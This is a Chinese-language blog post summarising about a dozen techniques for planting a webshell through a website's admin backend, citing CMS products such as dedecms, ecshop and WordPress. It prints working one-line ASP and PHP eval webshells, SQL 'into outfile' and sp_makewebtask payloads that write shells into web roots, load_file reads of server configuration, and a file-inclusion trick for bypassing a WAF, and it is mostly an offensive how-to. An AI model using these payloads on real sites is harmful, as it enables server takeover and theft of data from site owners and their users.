方法一:直接上传getshell

以dedecms为例,后台可以直接上传脚本文件,从而getshell,具体方法如下:

即可成功上传大马,并成功执行,从而拿下webshell。

坑:通常由于权限限制,导致只有该目录权限,无法进入其他目录,此时便可以采用…/跳转到根目录,或者其他目录,此时所采用的方法是如下的文件改名

方法二:数据库备份getshell

以南方数据cms为例:

1,首先上传一张图片马上去,并且获取图片马的路径

2,在系统管理处选择数据库备份,进行数据库备份getshell,具体操作方法如下:

然后使用菜刀连接即可成功getshell。

当所备份的数据库来源无法修改时,我们可以通过首先将一句话木马写入数据库,比如通过新建管理员用户,将用户名用一句话木马代替(用户名通常有长度限制,在前端修改maxlength即可)

<%eval request (“pass”)%>

然后再通过备份数据库getshell。

方法三:修改网站上传类型配置拿webshell

有的网站在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型,如添加asp|php|jsp|aspx|asa|cer等来拿webshell。

方法四:利用文件解析漏洞来拿webshell

记录在了这篇博客上面:https://www.cnblogs.com/v01cano/p/10326366.html

方法五:网站配置插马拿webshell:

注:asp中单引号表示单行注释作用

“%><%eval request(“v01cano”)%><%‘

一般先试试看该选项是否可以更改,如果可以更改,则插马试试,因为插马可能导致系统崩溃,所以一般需要首先需要本地搭建环境进行测试。

方法六:通过编辑器模板拿webshell

1,通过对网站的模板进行编辑写入一句话,然后生成脚本文件拿webshell。比如ecshop

2,通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿webshell。

方法七:通过添加插件getshell

即利用网站管理员的添加插件功能getshell,将大马添加到插件的压缩包中,然后上传,从而getshell。比如wordpress,dz等等。

方法八:执行sql语句写入webshell

通过sql语句写入shell,首先执行错误的sql语句,使其暴露出网站的根目录:

select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";

关于此语句说明,在windows中有时候需要使用斜杠/有时候需要使用双反斜杠\末尾有时候需要分号,有时候也不需要分号。

以ecshop为例:

也可以先将一句话通过新建管理员写入到user表中,然后通过数据库备份配合解析漏洞拿shell。

方法九:通过数据库拿webshell

我们可以通过数据库执行命令导出一句话到网站根目录拿shell

access数据库导出一般需要利用解析漏洞xx.asp;.xml

sqlserver导出:

exec sp_makewebtask ‘C:\test1.php‘,‘ select ‘‘<%eval request("pass")%>‘‘ ‘--

mysql命令导出getshell:

方法1

 Create TABLE xiaoma (xiaoma1 text NOT NULL);Insert INTO xiaoma (xiaoma1) VALUES(‘<?php eval($_POST[xiaoma]);?>‘);select xiaoma1 from xiaoma into outfile ‘D:/phpstudy/www/7.php‘;Drop TABLE IF EXISTS xiaoma;

方法2

select "<?php eval($_POST[v01cano]);?>" into outfile ‘D:/phpstudy/www/a.php‘

方法3:方法1和方法2都是在网站根目录路径已知的时候写入shell,当数据库路径未知时,可以通过如下方法读取数据库路径:网站的根目录一般在网站配置文件httpd.conf中,而此目录的路径一般不变,一般在/apache/conf/httpd.conf中,(在phpmyadmin中的时候,我们可以选择变量选项观察其路径,进而推测httpd.conf的路径),在已知该文件路径的条件下,我们可以通过如下方法读取该文件中的内容:

//创建表a,并且将httpd.conf写入到表a中。
create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;

然后执行导出操作,将该文件下载,使用notepad++打开,最后搜索documentroot,即可找到网站的根目录:

httpd.conf文件可能存在的一些路径:

linux中可能存在路径:

apache
/usr/local/mysql
/user/local/apache/conf/httpd.conf
/user/local/httpd/conf/httpd.conf
/etc/httpd/conf/httpd.conf
/user/local/apache2/conf/httpd.confNginx:/user/local/nginx/conf/httpd.conf

方法四:直接通过load_file函数直接加载该文件内容

select load_file(‘C:/phpStudy/Apache/conf/httpd.conf‘);

但是需要在选项中进行如下配置才会显示出来:

方法n:还有通过日志拿shell的多种方式,已经记录在博客:

https://www.cnblogs.com/v01cano/p/10292670.html

方法十:通过文件包含拿webshell

先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可以绕过waf拿webshell。

常用的文件包含方法如下:

asp包含:
1,<!--#include file="123.jpg"-->
2,调用的文件必须和被调用的文件在同一目录,否则找不到
3,如果不在同一目录,用下面语句也可以:
<!--#include virtual="文件所在目录/123.jpg"-->php包含:
<?php
Include(‘123.jpg‘);
?>

方法十一:命令执行拿webshell

Echo ^<^?php @eval($_POST[v01cano]);?^>^ >c:\1.php^<^%eval request("cracer")%^>^ >c:\1.php

十二:没有进入后台如下拿webshell

0day拿webshell

IIS写权限拿webshell(put一个shell进去)

命令执行拿webshell

通过注入漏洞拿webshell

前台图片上传拿webshell

Strusts2拿webshell

java反序列拿shell

网站后台getshell的方法总结相关推荐

  1. 网站后台拿shell方法总结

    今日带给大伙的都是些手艺上的总结,有些人老问经验怎么来的,这个即是经验,盼愿大伙都能成为脚本妙手. 动网上传漏洞,信任大伙拿下不少肉鸡吧.可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然全 ...

  2. 网站后台服务器脚本,后台get webshell的方法

    一.直接得到webshell 有些网站后台为了方便,可以直接写入脚本文件,对此可以直接写入webshell 二.利用数据库备份 方法老掉牙了.现在数据库备份一般都写死了. 上传有限制,只能上传图片格式 ...

  3. wordpress网站后台打开速度很慢解决方法?

    今天就和朋友们分享下,wordpress网站后台最近打开速度很慢的原因及解决方法.推荐第三种方法 方法/步骤 1.安装插件:在插件中搜索 Disable Google Fonts,选择安装,然后启用, ...

  4. wordpress网站后台打开速度很卡很慢解决方法?

    为什么80%的码农都做不了架构师?>>>    wordpress网站后台打开速度很慢的原因: wordpress使用了Open Sana字体,该字体的文件存放在美国Google的服 ...

  5. php搭建的网站空白,使用phpstudy搭建dedecms网站后台页面空白解决方法

    这篇文章主要为大家详细介绍了使用phpstudy搭建dedecms网站后台页面空白解决方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,有需要的朋友可以收藏方便以后借鉴. 在把 phpStudy ...

  6. 服务器上txt文件编辑器,网站后台文本编辑器使用方法

    网站后台文本编辑器使用方法 Excel电子表格导入 利用Excel电子表格导入功能,您可以把已写好的Excel电子表格中指定的工作表一次性的导入编辑器中.Excel电子表格中的图片.图表等文件将自动上 ...

  7. 【查找网站后台方法总结整理】

    针对网站后台的查找,我大致分成了两部分.一是针对当前站点页面进行查找,即网站后台是在这个站点页面当中的.另一部分则是后台放置其他站点页面,需要我们另外进行测试寻找.因为思维导图内容较多,我会抽取一部分 ...

  8. 寻找网站后台的几种常见的方法

    (注:本教程仅供学习交流使用,不可用于一切未授权的网络攻击和违法行为!) 当我们进入一个网站时,如何对其后台进行查找.从而进一步渗透?今天给大家介绍几种常见的方法: 查看网站图片中的属性 我们可以随机 ...

  9. 网站后台慢 php执行缓慢,WP网站后台打开慢原因及解决方法

    学习做网站教程的学员在使用WP程序建网站后,前台打开正常,但进入后台时,却出现打开缓慢,经常卡顿的情况,往往进入网站后台需要改一二分钟才能进入,那么新手学做网站时怎么解决这种WP网站后台打开慢的问题呢 ...

最新文章

  1. NAT STURN,ICE
  2. 设备的dpr_湘潭污水处理设备_处理污水设备生产厂
  3. 音乐计算机融合课,融合信息技术的音乐课
  4. 程序型语言VS.编译型语言
  5. 学英语(1)---常用英语
  6. oracle更换年,Oracle数据库更换服务器10分钟切换方案
  7. 常见的大数据技术类型有哪些
  8. java求第几位数字_怎么得到一个数的第n位数字 急求大神帮助
  9. Demo:第四章:Gateway网关
  10. 系统分析与设计第一次作业
  11. 树莓派C语言超声波传感器测距
  12. ServiceLoader详解
  13. 平面设计之CDR文本绘图工具总结
  14. php邮件群发系统日发5000,最新qq邮件群发日发10000封邮件
  15. 判断二叉树是否为平衡二叉树(递归)
  16. (一)Python基础语法
  17. 测绘大地测量乙级资质新申请条件及办理流程
  18. 输入身份证号和年份计算年龄
  19. Tensorflow2.0深度学习入门与实战(日月光华)(学习总结1)
  20. 34.发送ICMP时间戳请求

热门文章

  1. 示波器波形参数测量和FFT分析
  2. SP Flash Tool 报错: ERROR : STATUS_UNSUPPORT_CTRL_CODE (-1073676284)
  3. 携win32api给大家拜个早年
  4. Grub是什么,看看有什么作用
  5. 谁说程序员不懂浪漫——我的C语言结婚请柬(附源码)
  6. Win7家庭高级版有什么功能
  7. 尚硅谷设计模式学习(四)工厂模式
  8. Connection reset by peer (秒懂)
  9. MyBatisPlus——CRUD
  10. 19年以后ArcGIS 调用天地图